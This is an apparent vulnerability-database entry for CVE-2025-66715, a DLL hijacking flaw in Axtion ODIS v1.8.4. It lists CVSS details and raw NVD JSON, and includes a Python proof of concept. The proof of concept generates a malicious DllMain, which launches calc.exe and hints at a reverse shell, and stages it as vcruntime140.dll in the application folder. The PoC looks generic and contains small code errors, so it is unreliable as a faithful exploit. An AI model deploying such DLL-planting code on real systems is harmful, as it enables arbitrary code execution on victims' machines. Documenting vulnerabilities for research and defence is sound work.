Security Vulnerability Report
中文
CVE-2025-66715 CVSS 6.5 MEDIUM

CVE-2025-66715

Published: 2026-01-09 20:15:52
Last Modified: 2026-01-22 21:44:17

Description

A DLL hijacking vulnerability in Axtion ODISSAAS ODIS v1.8.4 allows attackers to execute arbitrary code via a crafted DLL file.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:axtion:odis:*:*:*:*:*:*:*:* - VULNERABLE
Axtion ODISSAAS ODIS v1.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66715 DLL Hijacking PoC # Target: Axtion ODISSAAS ODIS v1.8.4 # Vulnerability: DLL hijacking via crafted malicious DLL import os import shutil def create_malicious_dll(): """Generate malicious DLL source code""" dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: // Code execution when DLL is loaded WinExec("calc.exe", SW_SHOW); // Example: Launch calculator // Or execute reverse shell, malware, etc. break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' return dll_source def deploy_poc(): """Deploy the DLL hijacking exploit""" # Target DLL name commonly loaded by ODIS target_dll = "vcruntime140.dll" # Example target DLL malicious_dll = "malicious_vcruntime140.dll" # Create the malicious DLL dll_code = create_malicious_dll() with open(f"{malicious_dll}.c", "w") as f: f.write(dll_code) # Compile the DLL (requires MinGW or MSVC) # Example: gcc -shared -o malicious_vcruntime140.dll malicious_vcruntime140.dll.c # Deploy to application directory app_dir = r"C:\Program Files\Axtion\ODIS\" target_path = os.path.join(app_dir, target_dll) # Backup original DLL if exists if os.path.exists(target_path): shutil.copy(target_path, f"{target_path}.backup") # Replace with malicious DLL # shutil.copy(malicious_dll, target_path) print(f"[!] Deploy malicious DLL to: {target_path}") print(f"[!] When ODIS application starts, the malicious DLL will be loaded") print(f"[!] Arbitrary code will be executed with application privileges") if __name__ == "__main__": deploy_poc()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66715", "sourceIdentifier": "[email protected]", "published": "2026-01-09T20:15:51.773", "lastModified": "2026-01-22T21:44:17.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A DLL hijacking vulnerability in Axtion ODISSAAS ODIS v1.8.4 allows attackers to execute arbitrary code via a crafted DLL file."}, {"lang": "es", "value": "Una vulnerabilidad de secuestro de DLL en Axtion ODISSAAS ODIS v1.8.4 permite a los atacantes ejecutar código arbitrario a través de un archivo DLL manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axtion:odis:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.8.4", "matchCriteriaId": "53E5A46F-1531-48C2-8D44-00714B657CEC"}]}]}], "references": [{"url": "https://b1tsec.gitbook.io/offensive-repo/cve-repository/cve-2025-66715", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.axtion.nl/odis/", "source": "[email protected]", "tags": ["Product"]}]}}